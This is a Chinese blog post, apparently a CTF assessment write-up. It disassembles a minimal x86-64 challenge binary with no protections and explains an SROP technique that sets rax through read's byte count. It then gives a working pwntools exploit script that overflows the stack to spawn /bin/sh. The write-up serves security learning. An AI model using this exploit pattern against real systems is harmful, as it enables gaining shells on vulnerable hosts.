mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6
214 字
1 分钟
13考核wp
2026-03-14

将附件拖入ida 发现程序只有两个函数

echo ; ===========================================================================
echo
echo ; Segment type: Pure code
echo ; Segment permissions: Read/Execute
echo _text segment para public 'CODE' use64
echo assume cs:_text
echo ;org 401000h
echo assume es:nothing, ss:nothing, ds:LOAD, fs:nothing, gs:nothing
echo
echo ; =============== S U B R O U T I N E =======================================
echo
echo ; Attributes: bp-based frame
echo
echo ; signed __int64 echo()
echo echo proc near ; CODE XREF: _start↓p
echo ; DATA XREF: LOAD:0000000000400088↑o
echo
echo buf = byte ptr -180h
echo
echo push rbp
echo+1 mov rbp, rsp
echo+4 sub rsp, 300h
echo+B mov eax, 0
echo+10 mov edi, 0 ; fd
echo+15 lea rsi, [rsp+300h+buf] ; buf
echo+1D mov edx, 300h ; count
echo+22 syscall ; LINUX - sys_read
echo+24 mov rdx, rax ; count
echo+27 mov eax, 1
echo+2C mov edi, 1 ; fd
echo+31 syscall ; LINUX - sys_write
echo+33 leave
echo+34 retn
echo+34 echo endp
echo+34
echo+34 ; ---------------------------------------------------------------------------
.text:0000000000401035 aBinSh db '/bin/sh',0
_start
_start ; =============== S U B R O U T I N E =======================================
_start
_start ; Attributes: noreturn
_start
_start public _start
_start _start proc near ; DATA XREF: LOAD:0000000000400018↑o
_start call echo
_start+5 mov eax, 60
_start+A mov edi, 0 ; error_code
_start+F syscall ; LINUX - sys_exit
_start+F _start endp
_start+F
_start+F _text ends
_start+F
_start+F
_start+F end _start

同时 checksec 后发现题目没有开启任何保护,ROPgadget后发现没有什么可以利用的 gadgets 通过分析发现,发现在echo + 15 发现溢出点,题目直接提供了/bin/sh\x00 ,于是考虑使用 SROP, 所以现在的问题是如何没有在 控制 rax 的手段下控制 rax 由于系统调用 read 和 write 会将 输入或者输出的字节数加入到 rax 中,所以我们可以通过控制 read 和 write 的输入输出长度来控制 rax 的值,从而控制 rax 的值,所以我们需要在第一次输出时,布置好栈的结构, 然后再第二次通过控制字符串长度控制rax 触发 SROP

所以得出如下脚本

FILE = "./chal"
from pwn import *
context(binary = FILE, log_level = "debug")
elf = ELF(FILE)
# rop = ROP(elf)
binshAddr = next(elf.search(b"/bin/sh\x00"))
log.success(f"binsh address: {hex(binshAddr)}")
syscallAddr = 0x401022
p = process(FILE)
raw_input(f"DEBUG - pwndbg -p {p.pid}")
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = binshAddr
frame.rsi = 0
frame.rdx = 0
frame.rsp = 0
frame.rip = 0x401022
log.info(f"frame: {hex(len(bytes(frame)))} bytes")
payload = flat(
[
cyclic(0x180),
p64(0xdeadbeef),
p64(0x401000),
p64(0x401022),
bytes(frame)
]
)
pause()
p.send(payload)
p.send(cyclic(15))
p.interactive()
分享

如果这篇文章对你有帮助,欢迎分享给更多人!

13考核wp
https://yoyolp.github.io/posts/other/13考核wp/
作者
超级玉米人
发布于
2026-03-14
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

目录